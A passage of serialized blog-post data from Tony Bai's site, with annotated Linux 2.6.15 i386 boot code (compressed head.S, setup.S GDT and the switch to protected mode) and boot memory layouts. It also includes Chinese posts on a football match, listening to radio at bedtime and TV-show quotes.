(!decompress_kernel(\u0026amp;mv, esi)) { // return value in AX\n* ! restore esi from stack;\n* ! ebx = 0;\n* ! goto __BOOT_CS: $__PHYSICAL_START;\n* ! // see linux/arch/i386/kernel/head.S:startup_32\n* ! }\n* ! ‘decompress_kernel’ is coded in\n* ! $(linux-2.6.15.3_dir)/arch/i386/boot/compressed/misc.c\n*/\ncall decompress_kernel\norl %eax,%eax\njnz 3f\npopl %esi # discard address\npopl %esi # real mode pointer\nxorl %ebx,%ebx\nljmp $(__BOOT_CS), $__PHYSICAL_START\n3:\n/*\n* ! move move_rountine_start..move_routine_end to 0×1000\n* ! both the two functions are defined in the tail of\n* ! this file\n*/\nmovl $move_routine_start,%esi\nmovl $0×1000,%edi\nmovl $move_routine_end,%ecx\nsubl %esi,%ecx\naddl $3,%ecx\nshrl $2,%ecx\ncld\nrep\nmovsl\n/*\n* ! Do preparation for ‘move_routine_start’:\n* ! set the parameters\n* ! ebx = real mode pointer\n* ! esi = mv.low_buffer_start\n* ! ecx = mv.lcount\n* ! edx = mv.high_buffer_start\n* ! eax = mv.hcount\n* ! edi = $__PHYSICAL_START\n*/\npopl %esi # discard the address\npopl %ebx # real mode pointer\npopl %esi # low_buffer_start\npopl %ecx # lcount\npopl %edx # high_buffer_start\npopl %eax # hcount\nmovl $__PHYSICAL_START,%edi\ncli # make sure we don’t get interrupted\n/*\n* ! jump to physical address: __BOOT_CS:0×1000\n* ! where the move_routine_start function stays\n*/\nljmp $(__BOOT_CS), $0×1000 # and jump to the move routine\n/*\n* ! the control has been transfered to ‘move_routine_start’\n*/\nmove_routine_start:\nmovl %ecx,%ebp\nshrl $2,%ecx\nrep\nmovsl\nmovl %ebp,%ecx\nandl $3,%ecx\nrep\nmovsb\nmovl %edx,%esi\nmovl %eax,%ecx # NOTE: rep movsb won’t move if %ecx == 0\naddl $3,%ecx\nshrl $2,%ecx\nrep\nmovsl\nmovl %ebx,%esi # Restore setup pointer\nxorl %ebx,%ebx\nljmp $(__BOOT_CS), $__PHYSICAL_START\nmove_routine_end:\nIn ‘move_routine_start’, we perform the operations as follows:\n(1) move mv.low_buffer_start to $__PHYSICAL_START, (mv.lcount \u0026raquo; 2) words;\n(2) move/append (mv.lcount \u0026amp; 3) bytes;\n(3) move/append mv.high_buffer_start, ((mv.hcount + 3) \u0026raquo; 2) words.\nAfter move the decompressed kernel image to its right place, the control will be transfered to physical address:’$(__BOOT_CS):$__PHYSICAL_START’, where the second ‘head.S’ stays.\n","permalink":"https://tonybai.com/2006/02/25/compressed-head/","summary":"\u003cp\u003e_Why do we do this? Don’t ask me.. Incomprehensible are the ways of bootloaders.\u003cbr\u003e\n_                             — comments in arch/i386/boot/compressed/misc.c\u003c/p\u003e\n\u003cp\u003eThere are two ‘head.S’ in linux source package. One is in $(Linux-2.6.15.3_dir/arch/i386/boot/compressed and the other one is in $(Linux-2.6.15.3_dir/arch/i386/kernel. The first one will be analyzed in this artical. Before we go ahead, let’s show a news of linux, that is ‘\u003ca href=\"http://nl.internet.com/ct.html?rtr=on\u0026amp;s=1,293z,1,eqts,fl1e,7gre,aatq\"\u003eArmy leans toward Linux for FCS(Future Combat System\u003c/a\u003e)’.\u003c/p\u003e","title":"Compressed 'head.S'"},{"content":"已经记不清有多久没有完整地看完一次中国国家足球队的国际A级赛事了。昨天是2007年亚洲杯小组赛的第一场比赛，国足坐镇主场，对手是’神秘’的巴勒斯坦足球队。90分钟下来，国足2:0拿下比赛，按理说我们该庆祝，可是我想大多数中国球迷和我一样，心情沉重呀，不为别的，就为中国足球的未来担心亚。尽管比赛获得了胜利，但是从比赛的过程来看，难掩饰这支国足的真实地位– ‘名符其实’的亚洲二流。\n其实我感觉亚洲一流和二流最大的区别在于是否形成了现代足球的’整体’攻防风格，纵观这届中国国足，哪有什么整体而言，进攻毫无章法，防守也总是莫名其妙的出现失误，还好对手太弱，这种失误带来的风险也就小了些。中国足球职业化也这么多年了，我们到底和日本、韩国差在哪？现在日本、韩国和欧洲的一些二流球队过招，已经是有把握言胜的。暂且不说韩国在世界杯上的光辉成绩，就拿去年与塞黑的热身赛来说，同样的一只塞黑队，中国0:1负之，韩国3:0胜之，这样的例子太多太多，足以说明中国足球在各个方面都落后得太多，亚洲二流一点都不贬低中国国足。好了牢骚发到这，说说这场比赛吧。\n杜威和李伟峰，两个中后卫，贡献两个头球，依旧在延续着中国足球队一贯的’头球队’和后卫比前锋好使的作风，特别是第二个进球，本该是前锋应该出现的区域，一名中后卫却鬼使神差的站在那里，更令人叫绝的是’球进了’。看到sina网的一则报道’88次为国出战打进11球 李玮峰已成国足二号射手‘，那简直就叫一个’心酸’亚!国足习惯了和弱队的这种打法，而且养成了习惯，一旦和稍强些的对手过招，就会破绽百出。我就是不明白一个脚法一般(从电视上都可以看出杜威和李伟峰的脚法简直业余)的中后卫居然总冲在最前面(我不知道这是不是教练的安排，我想教练还不至于这么差吧，当然发脚球时可以)，如果我是其他球员我会如何想呢？\u0026ldquo;你李伟峰是队长，我们都管不了你，你不相信我们这些前场球员，那你就冲吧\u0026rdquo;。最终在弱队面前李伟峰算是占了便宜卖了乖，但是在强队面前他那点小伎俩又怎么能奏效呢。作为一名中后卫，你的职责就是防守，无论对手强还是弱。如果你的脚法(传球水平)可以像罗伯特.卡洛斯那样，你倒可以尽情的冲上前助攻，可是现实你的脚法很滥，还是学习学习季铭义，老老实实在后场待着吧。这场比赛，国足的后卫线要不裹足不前，在后场慢腾腾的戏耍着可怜的足球，要不都去充当前锋，这是何等的壮观，这样的场景和打法也就是在中国队才能展现，机会难得，大家莫失良机亚。\n再说说’铁哥’，真不明白朱指导为什么还招李铁，难道只因为有感情，这是国足，你朱指导要做的是如何提高国足水平，而不是怜悯和施舍。看看’铁哥’在场上的表现吧。我细致观察过，每当球传到’铁哥’脚下，整个进攻节奏就慢了下来，’铁哥’也不知道是不是眼神儿不好使，拿到球后看了又看看了又看，’半天’后终于出脚了，至于球不是飞出场，就是到了别人脚下。整场比赛，可以用碌碌无为来形容之，真是有他不多，无他不少。\n李毅’大帝’我们也不得不说，从球迷对他的’热衷’程度来看，我们也得说说。’大帝’除了那几招拿手的’靠山背’、’犯规’、’乱跑’之外，真不知道他还凭什么来维持他’大帝’的称号。在CCTV5台的直播时我们听到球迷呐喊得最多的就是’大帝’的名字，只不过前面加了一个’换’字；提到最多的也是他的’脚’字，只不过前面加了个’臭’字，这样的前锋能改变国足锋线的疲软状态么。我想大多数球迷此时心中都在呼喊’邹捷’上场了，可是他仅仅在最后1分半钟在走了走场罢了。\n说实话，不能完全否定国足，至少在场上还是有认真踢球的队员，董方卓和蒿俊闵这两个新生代着实没有辜负球迷。董方卓有速度、有体格，但是似乎在理解现代足球的道路上还没’入道’，不过前途光明。蒿俊闵 年纪轻轻，敢拼敢抢，欠缺的是大局观和动脑筋。正是这两个小伙子的不辞辛劳的奔跑抢断传球，才给国足中前场带来一丝生气。\n至于其他人，不说了，说了也伤心。\n最后引用董路的评论’不管是因为我们强大，还是由于敌人弱小；要求中国队踢出水银泻地动山摇般的足球确实是一件很难得事情’。我也要加一句’如果非要让我说出一个爱上中国足球队的期限的话，我希望是一万年。’\n","permalink":"https://tonybai.com/2006/02/23/national-football-team-deserve-its-fame/","summary":"\u003cp\u003e已经记不清有多久没有完整地看完一次中国国家足球队的国际A级赛事了。昨天是2007年亚洲杯小组赛的第一场比赛，国足坐镇主场，对手是’神秘’的巴勒斯坦足球队。90分钟下来，国足2:0拿下比赛，按理说我们该庆祝，可是我想大多数中国球迷和我一样，心情沉重呀，不为别的，就为中国足球的未来担心亚。尽管比赛获得了胜利，但是从比赛的过程来看，难掩饰这支国足的真实地位– ‘名符其实’的亚洲二流。\u003c/p\u003e","title":"'名符其实'的国足"},{"content":"从大一开始’听广播入睡’就一直是我的习惯，现在工作了这个习惯仍然没能改变。有人可能会说这个习惯不太好，不过都说是’习惯’了，也就不太在意了。谁让我躺在床上半天也睡不着呢:)，而广播恰恰可以作为我的’催眠曲’，让我顺利进入梦乡。\n孩提时代开始接触广播，在那个媒体贫乏的年代，广播打开了每个娃娃心灵的小窗户，让我们接触新鲜事物，拥抱知识。在广播中我知道了中央人民广播电台的’小喇叭’、知道了雷锋、赖宁的先进事迹、听到了’让我们荡起双桨’等经典曲目。在这些节目的熏陶下，我们茁壮成长。特别值得一提的是广播让我听到单田芳老师播讲的诸多经典评书。’封神演义‘、’三侠五义‘、’白眉大侠‘等都是大家耳熟能详的经典作品，可以说这些充满侠义之风的作品还是很好的’传统品德’教育素材。给青少年听还是很有裨益的。\n初中、高中阶段由于学业繁重，就少有大段时间去听长篇的评书了，广播也暂时被我疏远了。上了大学后，开始了独立生活，个人支配时间相对宽裕，广播就再次走入我的生活。特别是努力学习一天后躺在床上，闭上眼睛冥神听着舒缓的音乐和那带有磁性的主持人的嗓音(大多数主持人都是这样的)，那是’相当的享受’！^_^。久而久之就养成了’听广播入睡’的习惯。记得当时黑龙江音乐广播有一档栏目’网络音乐吧’(后来又改版分为网络音乐吧之阳光city和网络音乐吧之星光Party)特受大家欢迎，甚至整个一个寝室的人都是该栏目的忠实Fans。从那时起我主要收听的节目也限于歌曲类、谈话类(有意义的，比如某著名作家、剧作家的访谈之类)和广播剧剪辑类节目，因为这类节目多在午夜后播出。\n在现在这个媒体’多如牛毛’的时代，也许很少有人再听广播了。从大一到现在一直都喜欢听广播的我始终觉得广播是其他媒体永远不能替代的。而且我认为广播不但会继续生存下去，而且会很好的生存下去，因为没有媒体可以完全占领广播在像我这样的’广播Fans’们心中的位置。\n","permalink":"https://tonybai.com/2006/02/22/sleep-with-radio/","summary":"\u003cp\u003e从大一开始’听广播入睡’就一直是我的习惯，现在工作了这个习惯仍然没能改变。有人可能会说这个习惯不太好，不过都说是’习惯’了，也就不太在意了。谁让我躺在床上半天也睡不着呢:)，而广播恰恰可以作为我的’催眠曲’，让我顺利进入梦乡。\u003c/p\u003e","title":"听广播入睡"},{"content":"很多经典影视剧和小品都会给大家留下些’经典台词’，就拿今年的春晚小品’小崔说事’来说，我记住的就有’那是相当的xxx’、’女人啊，就该对自己下手狠一点’等。其实在春晚之前还有一部热播的电视剧给人们带来了欢笑，同时也让人们记住了很多让人捧腹的’台词’。这部剧就是’武林外传’。\n1、嘘！嘘！嘘！低调！低调！都低调！\n2、确定一定以及肯定；否决否认以及否定。\n3、我吃的盐比你吃的饭都多。\n— 那是你口重。\n我过的桥比你走的路都多。\n— 那是我不乐意动。\n4、如果上天能给我最后一次机会，我会对李大嘴说三个字，….少放盐。\n5、郭芙蓉：刑捕头往那一站，就是七侠镇一霸(爸)！\n李大嘴：那谁是七侠镇一妈呀?\n6、秀才：偷者，不告而拿也。\n7、郭芙蓉对吕秀才：我一看你那呆样子就想野蛮….。\n8、佟湘玉：“别说掌门，掌窗户也不行。”\n9、小六：简直可以用四个字来形容。\n众人：令人发指。\n小六：再来四个。\n众人：惨绝人寰。\n10、\u0026ldquo;莫掌门咋死的？\u0026rdquo;\n— \u0026ldquo;听说拿了帮里的钱盖房子……\u0026rdquo;\n\u0026ldquo;腐败啦？\u0026rdquo;\n11、白展堂：好一条风姿绰月美艳动人的鸡腿呀！\n12、郭芙蓉：热Face贴上了冷臀部！\n13、吕秀才：也没什么，我就是比你多那么一点点内涵。\n郭芙蓉：你怎么不说你比我多一点内脏。\n14、上联：抵制家庭暴力\n下联：呼唤社会爱心\n横披：不要和陌生人说话\n15、十只羊，一只蹲在羊圈里，一只蹲在猪圈里 —— 抑扬顿挫。\n16、吕秀才：天生我才必有有用，千金难买爷高兴；千金散尽还复来，爷想怎么用就怎么用。\n17、白展堂：杨过和小龙女知道不？\n李大嘴：杨过我不知道，小聋女我知道，西街的那个，说不出话，阿巴阿巴。\n18、你是马不知道自己的脸长；你是牛不知道自己的皮厚！\n19、郭芙蓉：我最后一次警告你啊 请使用人类的语言和我交谈！\n20、佟掌柜：继续热烈接近疯狂地鼓掌！\n21、一般一般，港姐第三。很丑很丑，亚姐第九。\n","permalink":"https://tonybai.com/2006/02/18/classic-actor-dialogue/","summary":"\u003cp\u003e很多经典影视剧和小品都会给大家留下些’经典台词’，就拿今年的春晚小品’小崔说事’来说，我记住的就有’那是相当的xxx’、’女人啊，就该对自己下手狠一点’等。其实在春晚之前还有一部热播的电视剧给人们带来了欢笑，同时也让人们记住了很多让人捧腹的’台词’。这部剧就是’武林外传’。\u003c/p\u003e","title":"贴点经典台词"},{"content":"The phase we talked about before is in ‘Real-address Mode’, which runs 16-bit program modules. At the tail of \u0026ldquo;Begin ‘setup.S’\u0026rdquo;, we had moved to ‘Protected Mode’, which usu runs 32-bit program modules. So there are two big problems which are ‘How to transfer control between 16-bit code and 32-bit code’ and how to transfer control from ‘real-mode’ to protected mode’. They are also what we wanna talk about in this artical.\nThe transfering codes are mainly in ‘setup.S and ‘head.S’. We have covered the ‘setup.S’ with a little detail about how to move to protected mode. Here we are going to make a supplementary.\nFirst of all, let us have a look at the characteristics of 16-Bit and 32-Bit program modules, which quotes the ‘Intel Manual Vol3′.\nCharacteristic 16-Bit Program Modules 32-Bit Program Modules\n———————————————————————————————-\nSegment Size 0 to 64 KBytes 0 to 4 GBytes\nOperand Sizes 8 bits and 16 bits 8 bits and 32 bits\nPointer Offset Size (Address Size) 16 bits 32 bits\nStack Pointer Size 16 Bits 32 Bits\nControl Transfers Allowed to Code 16 Bits 32 Bits\nSegments of This Size\nThe ‘Intel Manual Vol3′ also tells us how to distinguish between and support 16-bit and 32-bit segments and operations.\nDetails as follows:\n(1) The D (default operand and address size) flag in code-segment descriptors.\n(2) The B (default stack size) flag in stack-segment descriptors.\n(3) 16-bit and 32-bit call gates, interrupt gates, and trap gates.\n(4) Operand-size and address-size instruction prefixes.\n(5) 16-bit and 32-bit general-purpose registers.\nDue to the usage in ‘setup.S’, we are going to talk about item (4) in this artical and you can deep into the other four items by reading that bible book mentioned above. Before we say something about ‘instruction prefix’, we are going to do a review of ‘setup.S’. As we know, before switching to protected mode, a minimum set of system data structures and code modules must be loaded into memory. The GDT(Global Descriptor Table) is one of them. GDT consists of several 8-byte segment descriptors.\nThese segment descriptors describe the segment characteristics. They have several important fields. Some of the fields are listed below:\n(1) ‘base’ – contains the linear address of the first byte of the segment.\n(2) ‘G’ - granularity flag, if it is cleared (equal to 0), the segment size is expressed in bytes; otherwise, it is expressed in multiples of 4096 bytes.\n(3) ‘limit’ – holds the offset of the last memory cell in the segment, thus binding the segment length. When G is set to 0, the size of a segment may vary between 1 byte and 1 MB; otherwise, it may vary between 4 KB and 4 GB.\nHere we are going to learn how the ‘setup.S’ define its provisional GDT, yeah, it is just a provisional GDT.\n/*\n* ! $(linux-2.6.15.3_dir)/arch/i386/setup.S\n*/\n# Descriptor tables\n# NOTE: The intel manual says gdt should be sixteen bytes aligned for\n# efficiency reasons. However, there are machines which are known not\n# to boot with misaligned GDTs, so alter this at your peril! If you alter\n# GDT_ENTRY_BOOT_CS (in asm/segment.h) remember to leave at least two\n# empty GDT entries (one for NULL and one reserved).\n# NOTE: On some CPUs, the GDT must be 8 byte aligned. This is\n# true for the Voyager Quad CPU card which will not boot without\n# This directive. 16 byte aligment is recommended by intel.\n.align 16\ngdt:\n/*\n* ! #define GDT_ENTRY_BOOT_CS 2\n* ! The first segment descripter is setted by zero(Requested by Intel).\n* ! The second segment descripter is reserved and also setted by zero.\n* ! The third segment descripter:\n* ! base = 0; G flag = 4096(D) = 0×1000, limit = 0xFFFF * 0×1000 = 4Gb\n* ! The fourth segment descripter:\n* ! base = 0; G flag = 4096(D) = 0×1000, limit = 0xFFFF * 0×1000 = 4Gb\n*/\n.fill GDT_ENTRY_BOOT_CS,8,0\n.word 0xFFFF # 4Gb – (0×100000*0×1000 = 4Gb)\n.word 0 # base address = 0\n.word 0x9A00 # code read/exec\n.word 0x00CF # granularity = 4096, 386\n# (+5th nibble of limit)\n.word 0xFFFF # 4Gb – (0×100000*0×1000 = 4Gb)\n.word 0 # base address = 0\n.word 0×9200 # data read/write\n.word 0x00CF # granularity = 4096, 386\n# (+5th nibble of limit)\ngdt_end:\n.align 4\n.word 0 # alignment byte\nidt_48:\n.word 0 # idt limit = 0\n.word 0, 0 # idt base = 0L\n.word 0 # alignment byte\ngdt_48:\n/*\n* ! Segment descriptors are always 16 bytes long recommended by intel,\n* ! the GDT limit should always be one less than an integral\n* ! multiple of sixteen (that is, 16N – 1).\n* ! we can see that the gdt base will be reset later\n*/\n.word gdt_end – gdt – 1 # gdt limit\n.word 0, 0 # gdt base (filled in later)\nThe following code performs an operation to load a liner address to GDTR(Global Descriptor Table Register). You must have to distinguish between GDTR(Global Descriptor Table Register) and GDT(Global Descriptor Table). The value stored in GDTR indicates where the GDT is. The GDTR is a key register when we moved to protected mode. so we must fill it before transferring control to protected mode. GDTR is 48-bit register, which consises of ‘limit’ field and ‘base’ field. We can use ‘lgdt m16/32′ instruction to fill this register. The ‘lgdt’ instruction loads a linear base address and limit value from a six-byte data operand in memory into the GDTR, respectively. If a 16-bit operand is used with ‘lgdt’, the register is loaded with a 16-bit limit and a 24-bit base, and the high-order eight bits of the six-byte data operand are not used. If a 32-bit operand is used, a 16-bit limit and a 32-bit base is loaded; the high-order eight bits of the six-byte operand are used as high-order base address bits. The following code showes us how the ‘setup.S’ loads the GDTR.\n# set up gdt and idt\nlidt idt_48 # load idt with 0,0\nxorl %eax, %eax # Compute gdt_base\nmovw %ds, %ax # (Convert %ds:gdt to a linear ptr)\nshll $4, %eax\naddl $gdt, %eax\n/*\n* ! reset the GDT base to %ds:gdt, which is mentioned above\n* ! now %ds = SETUPSEG = 0×9020\n* ! after ‘lgdt’, the ‘base’ field value in GDTR is ((%ds \u0026laquo; 4) + $gdt)\nmovl %eax, (gdt_48+2)\nlgdt gdt_48 # load gdt with whatever is\n# appropriate\nThus, the preparation for\n‘protected mode’ is over. What we want to do next is moving to the protected mode. We had mentioned that a far JMP instruction should be executed immediately after protected mode is enabled. Here ‘setup.S’ chooses a more simple way to transfer control to 32-bit protected mode.\n/*\n* ! $(linux-2.6.15.3_dir)/include/asm-i386/segment.h\n* Simple and small GDT entries for booting only\n*/\n#define GDT_ENTRY_BOOT_CS 2\n#define __BOOT_CS (GDT_ENTRY_BOOT_CS * #define GDT_ENTRY_BOOT_DS (GDT_ENTRY_BOOT_CS + 1)\n#define __BOOT_DS (GDT_ENTRY_BOOT_DS * /*\n* $(linux-2.6.15.3_dir)/arch/i386/setup.S\n*/\n# jump to startup_32 in arch/i386/boot/compressed/head.S\n# # NOTE: For high loaded big kernels we need a\n# jmpi 0×100000,__BOOT_CS\n.byte 0×66, 0xea # prefix + jmpi-opcode\ncode32: .long 0×1000 # will be set to 0×100000\n# for big kernels\n.word __BOOT_CS\nThere is a hard-coding instruction to do the jump. ’0xea’ is the binary coding form of ‘jmpi’ instruction. the ‘jmpi’ instruction uses a four-byte(when operand’s size is 16 bits) or six-byte(when operand’s size is 32 bits) operand as a long pointer to the destination. Now we are in 16-bit mode, all the operand’s size is 16 bits(mainly the target offset). But we want to jump to a 32-bit program module where instructions are executed in 32-bit mode. How can we deal with it, since we can not directly jump there. The solution is to add ’0×66′ instruction prefix before ‘jmpi’. This instruction prefix reverse the default size selected by the D flag in the code-segment descriptor and guarantees that the CPU will properly take our 48 bit far pointer(it is also called ‘logical address’ in protected mode and it consists of 16-bit segment selector and 32-bit offset). the ‘jmpi’ loads ‘__BOOT_CS’ to %cs and treats the 0×100000(big kernel) as an offset.\nWhere are we arrived after the intersegmental jump? Which instruction is the CPU going to execute? Both of these are what we want to solve. Now we are in protected mode with paging disabled and the memory addressing model mode has been changed. It is the ‘segmented memory model’ in protected mode. In this model, to address a byte in a segment, a program must issue a logical address, which consists of a segment selector and an offset. Internally, the processor translates each logical address into a linear address to access a memory location. the segment selector decides which segment descriptor to be used in GDT and the final liner address could be caculated by such a formula ‘segment_descriptor.base + offset’.\nThere is a logical address available in ‘setup.S’, that is ‘__BOOT_CS(0000000000010000B) : 0×0010000′. The first high-order 13 bits decide the index(based on zero) of the segment descriptor to use in GDT. Here the index is equal to ’2′. Just review the code above, the segment descriptor is the third defined in lable ‘gdt’ and its base is 0. Now we can make a conclusion that the first instruction’s liner address is ’0 + 0×00100000′, that is 0×001000000. It is just the location where ‘head.S’(the first part of the system) stays.\n/*\n* ! $(linux-2.6.15.3_dir)/arch/i386/boot/compressed/head.S\n*/\n.globl startup_32\nstartup_32:\ncld\ncli\nmovl $(__BOOT_DS),%eax\nmovl %eax,%ds\nmovl %eax,%es\nmovl %eax,%fs\nmovl %eax,%gs\nHere there is still a question, that is why we do not use ‘jmpi startup_32, __BOOT_CS’ instead of ‘jmpi 0×100000, __BOOT_CS’? We know that linux finally makes paging enable and build its own virtual memory management system. At that time, the linux kernel will have 4G-byte virtual address space and it only runs over the high 1G-byte(from 0xC0000000 to 0xFFFFFFFF) space. But the physical address space always starts from 0×00000000. There is a offset between kernel’s virtual address space and the physical address space. The offset is just ’0xC0000000′. So when we build linux kernel image, all address of labels in protected mode and later phases are added the offset. The address of label startup_32 is 0xC0100000. It won’t be used unless the paging is enabled. The code in this ‘head.S’ is also to do preparation for paging.\n","permalink":"https://tonybai.com/2006/02/17/transfer-to-32bit/","summary":"\u003cp\u003eThe phase we talked about before is in ‘Real-address Mode’, which runs 16-bit program modules. At the tail of \u0026ldquo;Begin ‘setup.S’\u0026rdquo;, we had moved to ‘Protected Mode’, which usu runs 32-bit program modules. So there are two big problems which are ‘How to transfer control between 16-bit code and 32-bit code’ and how to transfer control from ‘real-mode’ to protected mode’. They are also what we wanna talk about in this artical.\u003c/p\u003e","title":"Transfer to '32-bit'"},{"content":"So far we have arrived at the gate leading to the real kernel. And we’d better stop for a short break in order that we would have more energy to go ahead. Now let’s examine what we do to memory these days.\nVirtually what we want to do is drawing some pictures to describe the layout of the memory in various phases. For the layout is related to the bootloader, we’d better make our work based on the following assumption:\nThe machine has two systems installed (Windows XP and Linux) and uses LILO as the bootloader. Let us look at the LILO configuration:\n/* LILO Configuration – /etc/lilo.conf */\nboot=/dev/hda\nmap=/boot/map\ninstall=/boot/boot.b\nprompt\ntimeout=100\ncompact\ndefault=Linux\nimage=/boot/vmlinuz-2.6.15.3\nlabel=Linux\nroot=/dev/hda2\nread-only\nother=/dev/hda1\nlabel=WindowsXP\nHere the ‘boot=/dev/hda’ indicates it installed the LILO on the MBR of first hard disk. ‘root=/dev/had2′ indicates it installs linux system on the second partition of the first disk and ‘other=/dev/hda1′ indicates it installs windows system on the first partition of the first disk. Since lilo.conf is not read at boot time, the MBR needs to be \u0026ldquo;refreshed\u0026rdquo; when this is changed. If you do not do this upon rebooting, none of your changes to lilo.conf will be reflected at startup. Like getting LILO into the MBR in the first place, you need to run: ‘$ /sbin/lilo -v -v’. The ‘-v -v’ flags give you very verbose output.\nNow we could switch on our machine! (‘\u0026lt;-\u0026gt;’ means ‘begin from … end before …’)\n1. Power on \u0026lt;-\u0026gt; BIOS routine\nChaos, that is the character of memory at this time.\n2. BIOS routine \u0026lt;–\u0026gt; Bootloader 1st stage(MBR)\nBIOS routine runs over and prepares to execute the code loaded from MBR. MBR contains the 1st stage bootloader of the LILO.\n| |\n0A0000 +————————+\n| |\n010000 +————————+\n| MBR | \u0026lt;- MBR (07C00 ~ 07E00)\n001000 +————————+\n| |\n000600 +————————+ | BIOS use only |\n000000 +————————+\n3. Bootloader 1st stage(MBR) \u0026lt;-\u0026gt; Bootloader 2nd stage\nThe bootloader 1st stage moves itself to 0×090000, sets up the Real Mode stack (ranging from 0x09b000 to 0x09a200) and loads the 2nd stage of the LILO from 0x09b000.\n| |\n0A0000 +————————+\n| 2nd bootloader |\n09b000 +————————+\n| Real mode stack |\n09A200 +————————+\n| 1st bootloader |\n09A000 +————————+\n| |\n010000 +————————+\n| MBR(useless) | \u0026lt;- MBR (07C00 ~ 07E00)\n001000 +————————+\n| Reserved for MBR/BIOS |\n000800 +————————+\n| Typically used by MBR |\n000600 +————————+ | BIOS use only |\n000000 +————————+\n4. Bootloader 2nd stage \u0026lt;-\u0026gt; setup.S\nThe 2nd bootloader copies the integrated boot loader of the kernel image to address 0×090000, the setup() code to address 0×090200, and the rest of the kernel image to address 0×00010000(called ‘low address’ for small Kernel Images compiled with ‘make zImage’) or 0×00100000(‘high address’ for big Kernel Images compiled with ‘make bzImage’).\nzImage:\n| |\n0A0000 +————————+\n| 2nd bootloader |\n09b000 +————————+\n| Real mode stack |\n09A200 +————————+\n| 1st bootloader |\n09A000 +————————+\n| Stack/heap/cmdline | For use by the kernel real-mode code.\n098000 +————————+ | Kernel setup | The kernel real-mode code.\n090200 +————————+\n| Kernel boot sector | The kernel legacy boot sector.\n090000 +————————+\n| zImage | The bulk of the kernel image.\n010000 +————————+\n| MBR(useless) | \u0026lt;- MBR (07C00 ~ 07E00)\n001000 +————————+\n| Reserved for MBR/BIOS |\n000800 +————————+\n| Typically used by MBR |\n000600 +————————+\n| BIOS use only |\n000000 +————————+\nbzImage:\n+————————+\n| bzImage |\n0100000+————————+\n| |\n0A0000 +————————+\n| 2nd bootloader |\n09b000 +————————+\n| Real mode stack |\n09A200 +————————+\n| 1st bootloader |\n09A000 +————————+\n| Stack/heap/cmdline | For use by the kernel real-mode code.\n098000 +————————+ | Kernel setup | The kernel real-mode code.\n090200 +————————+\n| Kernel boot sector | The kernel legacy boot sector.\n090000 +————————+\n| |\n010000 +————————+\n| MBR(useless) | \u0026lt;- MBR (07C00 ~ 07E00)\n001000 +————————+\n| Reserved for MBR/BIOS |\n000800 +————————+\n| Typically used by MBR |\n000600 +————————+\n| BIOS use only |\n000000 +————————+\n5. setup.S \u0026lt;-\u0026gt; head.S\nThe setup() checks the position of the Kernel Image loaded in RAM. If loaded \u0026ldquo;low\u0026rdquo; in RAM (when using zImage, at physical address 0×00010000) it is moved to \u0026ldquo;high\u0026rdquo; in RAM (at physical address 0×00001000). But, if the Kernel image is a \u0026ldquo;bzImage\u0026rdquo; loaded in \u0026ldquo;high\u0026rdquo; of RAM already, then it’s NOT moved anywhere. It also move the system to its rightful place (0×00000 ~ [\u0026lt;0x090000]). Some system parameters were placed from 0×090000 to 0×090200, which stores the legecy boot sector.\n+————————+\n| bzImage |\n0100000+————————+\n| |\n098000 +————————+ \u0026gt; | Kernel setup |\n090200 +————————+\n| System parameters | collected by setup()\n090000 +————————+\n| |\n| |\n| System |\n| |\n| |\n000000 +————————+\nOK, it is much clear. and now we can walk through the door to the real kernel!\n","permalink":"https://tonybai.com/2006/02/15/outline-memory-layout/","summary":"\u003cp\u003eSo far we have arrived at the gate leading to the real kernel. And we’d better stop for a short break in order that we would have more energy to go ahead. Now let’s examine what we do to memory these days.\u003c/p\u003e\n\u003cp\u003eVirtually what we want to do is drawing some pictures to describe the layout of the memory in various phases. For the layout is related to the bootloader, we’d better make our work based on the following assumption:\u003cbr\u003e\nThe machine has two systems installed (Windows XP and Linux) and uses LILO as the bootloader. Let us look at the LILO configuration:\u003c/p\u003e","title":"Outline 'memory layout'"},{"content":"如发现本站页面被黑，比如：挂载广告、挖矿等恶意代码，请朋友们及时联系我。十分感谢！ 商务合作请联系bigwhite.cn AT aliyun.com\n欢迎使用邮件订阅我的博客 输入邮箱订阅本站，只要有新文章发布，就会第一时间发送邮件通知你哦！\n名字：\n邮箱:\n这里是 Tony Bai的个人Blog，欢迎访问、订阅和留言！ 订阅Feed请点击上面图片。\n如果您觉得这里的文章对您有帮助，请扫描上方二维码进行捐赠 ，加油后的Tony Bai将会为您呈现更多精彩的文章，谢谢！\n如果您希望通过微信捐赠，请用微信客户端扫描下方赞赏码： 如果您希望通过比特币或以太币捐赠，可以扫描下方二维码：\n比特币： 以太币： 如果您喜欢通过微信浏览本站内容，可以扫描下方二维码，订阅本站官方微信订阅号“iamtonybai”；点击二维码，可直达本人官方微博主页^_^： 本站Powered by Digital Ocean VPS。\n选择Digital Ocean VPS主机，即可获得10美元现金充值，可 免费使用两个月哟！ 著名主机提供商Linode 10$优惠码：linode10，在 这里注册即可免费获 得。阿里云推荐码：\n1WFZ0V， 立享9折！\n文章 Go团队：Go是什么 Go早期的那些布道者 Gopher的Rust第一课：建立Rust开发环境 使用Ollama和Go基于文本嵌入模型实现文本向量化 那些可免费使用的在线大语言模型服务 Go未用代码消除与可执行文件瘦身 从零到生产：Go在Google的历程[译] 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B Gopher的Rust第一课：Rust的那些事儿 要么返回错误值，要么输出日志，别两样都做 评论 bigwhite 在 Go早期的那些布道者\n感谢指出，已改。\ngopher 在 Go早期的那些布道者\nFitzpatrick 那个 mem 的点击链接好像贴错了，可能跳转的是 https://githu\u0026hellip;\nbigwhite 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n现在也不晚:)\ntest 在 使用Go语言实现eBPF程序内核态与用户态的双向数据交换\n早一个星期看到就好了，感谢分享\nbigwhite 在 一文告诉你如何用好uber开源的zap日志库\n哈哈:)\nzzzz 在 一文告诉你如何用好uber开源的zap日志库\n看了半天外网的文章，结果从里面源码找到来源是咱们国人\nbigwhite 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n我也在学习和研究中，后续多多分享就是了，但不保证能完全解决你的问题:)\nXuJinNet 在 使用Ollama和OpenWebUI在CPU上玩转Meta Llama3-8B\n非常期待老师的后续关于 AI 应用的实战教程！例如：怎样为本地系统提供 HTTP 服务接口；怎样使用\u0026hellip;\nbigwhite 在 小厂内部私有Go module拉取方案\n嗯，私有go module拉取方案有多种，这个要看“场情”:)。我们这里就不允许架设git认证代理。\nMiNG 在 小厂内部私有Go module拉取方案\n我们的做法是架设一个 git 认证代理，对内网开放 go get 